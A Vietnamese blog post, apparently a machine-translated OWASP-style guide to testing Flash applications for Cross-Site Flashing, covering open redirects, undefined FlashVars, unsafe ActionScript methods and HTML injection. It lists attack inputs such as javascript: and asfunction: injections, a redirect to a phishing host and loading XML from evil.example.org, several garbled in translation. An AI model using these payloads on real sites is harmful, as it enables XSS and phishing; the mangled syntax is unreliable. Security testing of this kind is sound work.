Testing sercurity

Kiểm tra lỗ hổng bảo mật Cross Site Flashing

Posted on by Dục Đoàn Trình
Rate this post

ActionScript, dựa trên ECMAScript, là ngôn ngữ được các ứng dụng Flash sử dụng khi giải quyết các nhu cầu tương tác. Có ba phiên bản của ngôn ngữ ActionScript. ActionScript 1.0 và ActionScript 2.0 rất giống với ActionScript 2.0 là một phần mở rộng của ActionScript 1.0. ActionScript 3.0, được giới thiệu cùng với Flash Player 9, là một bản viết lại của ngôn ngữ để hỗ trợ thiết kế hướng đối tượng.

ActionScript, giống như mọi ngôn ngữ khác, có một số mẫu triển khai có thể dẫn đến các vấn đề bảo mật. Đặc biệt, vì các ứng dụng Flash thường được nhúng trong các trình duyệt, các lỗ hổng như Tập lệnh trang web chéo dựa trên DOM (DOM XSS) có thể xuất hiện trong các ứng dụng Flash bị lỗi.

Hướng dẫn khác:

  1. Kiểm tra lỗ hổng bảo mật Cross-Site Request Forgery (CSRF)
  2. Kiểm tra lỗ hổng bảo mật Cross Site Script Inclusive (XSSI)
  3. Kiểm tra lỗ hổng bảo mật Session Management Schema
  4. Kiểm tra lỗ hổng bảo mật Clickjacking
  5. Kiểm tra bảo mật – Cross-Site Scripting
  6. Kiểm tra lỗ hổng bảo mật DOM-Based Cross Site Scripting

Cross-Site Flashing (XSF) là một lỗ hổng có tác động tương tự như XSS.

XSF xảy ra khi các trường hợp sau được khởi tạo từ các miền khác nhau:

  • Một bộ phim tải một bộ phim khác bằng các chức năng loadMovie * (hoặc các bản hack khác) và có quyền truy cập vào cùng một hộp cát hoặc một phần của nó.
  • Ví dụ: một trang HTML sử dụng JavaScript để ra lệnh cho một bộ phim Adobe Flash bằng cách gọi:
    • GetVariable để truy cập các đối tượng công cộng và tĩnh của Flash từ JavaScript dưới dạng một chuỗi.
    • SetVariable để đặt đối tượng Flash tĩnh hoặc công khai thành giá trị chuỗi mới bằng JavaScript.
  • Thông tin liên lạc không mong muốn giữa trình duyệt và ứng dụng SWF, có thể dẫn đến ăn cắp dữ liệu từ ứng dụng SWF.
  • XSF có thể được thực hiện bằng cách buộc một SWF thiếu sót tải một tệp Flash độc hại bên ngoài. Cuộc tấn công này có thể dẫn đến XSS hoặc việc sửa đổi GUI để đánh lừa người dùng chèn thông tin đăng nhập vào biểu mẫu Flash giả mạo. XSF có thể được sử dụng khi có Flash HTML Injection hoặc các tệp SWF bên ngoài khi các phương thức loadMovie * được sử dụng.

Mở chuyển hướng

SWF có khả năng điều hướng trình duyệt. Nếu SWF nhận đích dưới dạng FlashVar, thì SWF có thể được sử dụng như một công cụ chuyển hướng mở. Công cụ chuyển hướng mở là bất kỳ phần chức năng nào của trang web trên một trang web đáng tin cậy mà kẻ tấn công có thể sử dụng để chuyển hướng người dùng cuối đến một trang web độc hại. Chúng thường được sử dụng trong các cuộc tấn công lừa đảo. Tương tự như kịch bản xuyên trang, cuộc tấn công liên quan đến việc người dùng nhấp vào một liên kết độc hại.

Trong trường hợp Flash, URL độc hại có thể trông giống như sau:

http://trusted.example.org/trusted.swf?getURLValue=http://www.evil-spoofing-website.org/phishEndUsers.html

Trong ví dụ trên, người dùng cuối có thể thấy rằng URL bắt đầu bằng trang web đáng tin cậy yêu thích của họ và nhấp vào đó. Liên kết sẽ tải SWF đáng tin cậy lấy giá trị getURLValue và cung cấp nó cho lệnh gọi điều hướng trình duyệt ActionScript:

getURL(_root.getURLValue,"_self");

Điều này sẽ điều hướng trình duyệt đến URL độc hại do kẻ tấn công cung cấp. Tại thời điểm này, kẻ lừa đảo đã thành công trong việc tận dụng sự tin tưởng của người dùng trong trust.example.org để lừa người dùng truy cập trang web độc hại của họ. Từ đó, họ có thể khởi chạy 0 ngày, tiến hành giả mạo trang web gốc hoặc bất kỳ hình thức tấn công nào khác. SWF có thể vô tình hoạt động như một công cụ chuyển hướng mở trên trang web.

Các nhà phát triển nên tránh lấy các URL đầy đủ dưới dạng FlashVars. Nếu họ chỉ định điều hướng trong trang web của riêng mình, thì họ nên sử dụng URL tương đối hoặc xác minh rằng URL bắt đầu bằng miền và giao thức đáng tin cậy.

Các cuộc tấn công và phiên bản Flash Player

Kể từ tháng 5 năm 2007, ba phiên bản Flash Player mới đã được Adobe phát hành. Mỗi phiên bản mới hạn chế một số cuộc tấn công được mô tả trước đó.

Mục tiêu kiểm tra

Giải mã và phân tích mã của ứng dụng.

Đánh giá đầu vào chìm và cách sử dụng phương pháp không an toàn.

Làm thế nào để kiểm tra

Kể từ lần xuất bản đầu tiên của Thử nghiệm ứng dụng Flash, các phiên bản Flash Player mới đã được phát hành để giảm thiểu một số cuộc tấn công sẽ được mô tả. Tuy nhiên, một số vấn đề vẫn có thể khai thác được vì chúng là kết quả của các phương pháp lập trình không an toàn.

Decompilation

Vì các tệp SWF được thông dịch bởi một máy ảo được nhúng trong chính trình phát, nên chúng có thể được dịch ngược và phân tích. Trình dịch ngược ActionScript 2.0 miễn phí và được biết đến nhiều nhất là flare.

Để dịch ngược một tệp SWF với flare, chỉ cần gõ:

$ flare hello.swf

Điều này dẫn đến một tệp mới có tên hello.flr.

Giải mã giúp ích cho người kiểm tra vì nó cho phép kiểm tra hộp trắng đối với các ứng dụng Flash. Tìm kiếm nhanh trên web có thể dẫn bạn đến nhiều bộ giải mã và công cụ bảo mật flash.

Biến không xác định FlashVars

FlashVars là các biến mà nhà phát triển SWF đã lên kế hoạch nhận từ trang web. FlashVars thường được chuyển vào từ thẻ Object hoặc Embed trong HTML. Ví dụ:

<object width="550" height="400" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,124,0">
    <param name="movie" value="somefilename.swf">
    <param name="FlashVars" value="var1=val1&var2=val2">
    <embed src="somefilename.swf" width="550" height="400" FlashVars="var1=val1&var2=val2">
</embed>
</object>

FlashVars cũng có thể được khởi tạo từ URL:

http://www.example.org/somefilename.swf?var1=val1&amp;var2=val2

Trong ActionScript 3.0, nhà phát triển phải chỉ định rõ ràng các giá trị FlashVar cho các biến cục bộ. Thông thường, điều này trông giống như:

var paramObj:Object = LoaderInfo(this.root.loaderInfo).parameters;
var var1:String = String(paramObj["var1"]);
var var2:String = String(paramObj["var2"]);

Trong ActionScript 2.0, bất kỳ biến toàn cục nào chưa được khởi tạo đều được giả định là FlashVar. Biến toàn cục là những biến được thêm vào trước bởi _root, _global hoặc _level0. Điều này có nghĩa là nếu một thuộc tính như _root.varname không được xác định trong suốt dòng mã, nó có thể bị ghi đè bởi các tham số URL:

http: //victim/file.swf? varname = value

Bất kể bạn đang xem ActionScript 2.0 hay ActionScript 3.0, FlashVars đều có thể là một phương tiện tấn công. Hãy xem một số mã ActionScript 2.0 dễ bị tấn công:

Ví dụ:

movieClip 328 __Packages.Locale {

#initclip
    if (!_global.Locale) {
    var v1 = function (on_load) {
        var v5 = new XML();
        var v6 = this;
        v5.onLoad = function (success) {
        if (success) {
            trace('Locale loaded xml');
            var v3 = this.xliff.file.body.$trans_unit;
            var v2 = 0;
            while (v2 < v3.length) {
            Locale.strings[v3[v2]._resname] = v3[v2].source.__text;
            ++v2;
            }
            on_load();
        } else {}
        };
        if (_root.language != undefined) {
        Locale.DEFAULT_LANG = _root.language;
        }
        v5.load(Locale.DEFAULT_LANG + '/player_' +
                            Locale.DEFAULT_LANG + '.xml');
    };

Đoạn mã trên có thể bị tấn công bằng cách yêu cầu:

http: //victim/file.swf? language = http: //evil.example.org/malicious.xml?

Phương pháp không an toàn

Khi một điểm vào được xác định, dữ liệu mà nó đại diện có thể được sử dụng bằng các phương pháp không an toàn. Nếu dữ liệu không được lọc hoặc xác thực, nó có thể dẫn đến một số lỗ hổng.

Các phương pháp không an toàn kể từ phiên bản r47 là:

  • loadVariables ()
  • loadMovie ()
  • getURL ()
  • loadMovie ()
  • loadMovieNum ()
  • FScrollPane.loadScrollContent ()
  • LoadVars.load
  • LoadVars.send
  • XML.load (‘url’)
  • LoadVars.load (‘url’)
  • Sound.loadSound (‘url’, isStreaming);
  • NetStream.play (‘url’);
  • flash.external.ExternalInterface.call (_root.callback)
  • htmlText

Khai thác bằng XSS Reflected XSS

Tệp swf phải được lưu trữ trên máy chủ của nạn nhân và phải sử dụng các kỹ thuật của XSS được phản ánh. Kẻ tấn công buộc trình duyệt tải tệp swf thuần trực tiếp trên thanh vị trí (bằng cách chuyển hướng hoặc kỹ thuật xã hội) hoặc bằng cách tải tệp đó qua iframe từ một trang xấu:

<iframe src='https://victim/path/to/file.swf'></iframe>

Trong tình huống này, trình duyệt sẽ tự tạo một trang HTML như thể nó được lưu trữ bởi máy chủ nạn nhân.

GetURL (AS2) / NavigateToURL (AS3)

Chức năng GetURL trong ActionScript 2.0 và NavigateToURL trong ActionScript 3.0 cho phép phim tải một URI vào cửa sổ của trình duyệt. Nếu một biến không xác định được sử dụng làm đối số đầu tiên cho getURL:

getURL (_root.URI, '_ targetFrame');

Hoặc nếu FlashVar được sử dụng làm tham số được truyền cho hàm NavigateToURL:

var request:URLRequest = new URLRequest(FlashVarSuppliedURL);
navigateToURL(request);

Sau đó, điều này có nghĩa là có thể gọi JavaScript trong cùng một miền nơi lưu trữ phim bằng cách yêu cầu:

http: //victim/file.swf? uRI = javascript: evilcode

getURL (‘javascript: evilcode’, ‘_ self’);

Điều tương tự cũng có thể xảy ra khi chỉ một số phần của getURL được điều khiển thông qua chèn DOM với chèn JavaScript Flash:

getUrl ('javascript: function (' + _ root.arg + ')')

Sử dụng chức năng

Bạn có thể sử dụng giao thức chức năng đặc biệt để làm cho liên kết thực thi một chức năng ActionScript trong tệp SWF thay vì mở một URL. Cho đến khi phát hành Flash Player 9 r48, chức năng có thể được sử dụng trên mọi phương thức có URL làm đối số. Sau bản phát hành đó, chức năng bị hạn chế sử dụng trong Trường văn bản HTML.

Điều này có nghĩa là người thử nghiệm có thể cố gắng tiêm:

asfunction:getURL,javascript:evilcode

trong mọi phương pháp không an toàn, chẳng hạn như:

loadMovie(_root.URL)

bằng cách yêu cầu:

http: //victim/file.swf? URL = as functions: getURL, javascript: evilcode

Giao diện bên ngoài

ExternalInterface.call là một phương pháp tĩnh được Adobe giới thiệu để cải thiện sự tương tác của trình phát / trình duyệt cho cả ActionScript 2.0 và ActionScript 3.0.

Từ quan điểm bảo mật, nó có thể bị lạm dụng khi một phần đối số của nó có thể bị kiểm soát:

flash.external.ExternalInterface.call (_root.callback);

mô hình tấn công cho loại lỗ hổng này có thể giống như sau:

eval (evilcode)

vì JavaScript bên trong được thực thi bởi trình duyệt sẽ tương tự như:

eval ('thử {__flash__toXML (' + __ root.callback + ');} catch (e) {"&lt;undefined /&gt;";}')

Chèn HTML

Đối tượng Trường văn bản có thể hiển thị HTML tối thiểu bằng cách cài đặt:

tf.html = true
tf.htmlText = '<tag>text</tag>'

Vì vậy, nếu một số phần của văn bản có thể được kiểm soát bởi người kiểm tra, một <tag> hoặc thẻ hình ảnh có thể được đưa vào dẫn đến việc sửa đổi GUI hoặc tấn công XSS trên trình duyệt.

Một số ví dụ tấn công với thẻ <a>:

  • XSS trực tiếp: <a href=’javascript:alert(123)’>
  • Gọi một hàm: <a href=’asaries: Chức năng,arg’>
  • Gọi các hàm công khai SWF: <a href=’as Chức năng:_root.obj. Chức năng, arg’>
  • Gọi nguyên gốc static dưới dạng hàm: <a href=’asosystem:System.Security.allowDomain,evilhost’>

Thẻ hình ảnh cũng có thể được sử dụng:

<img src='https://evil/evil.swf'>

Trong ví dụ này, .swf là cần thiết để bỏ qua bộ lọc nội bộ của Flash Player:

<img src='javascript:evilcode//.swf'>

Kể từ khi phát hành Flash Player 9.0.124.0, XSS không còn có thể khai thác được nữa, nhưng vẫn có thể hoàn thành việc sửa đổi GUI.

Công cụ

Để lại một bình luận

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *

Contact Me on Zalo
Call now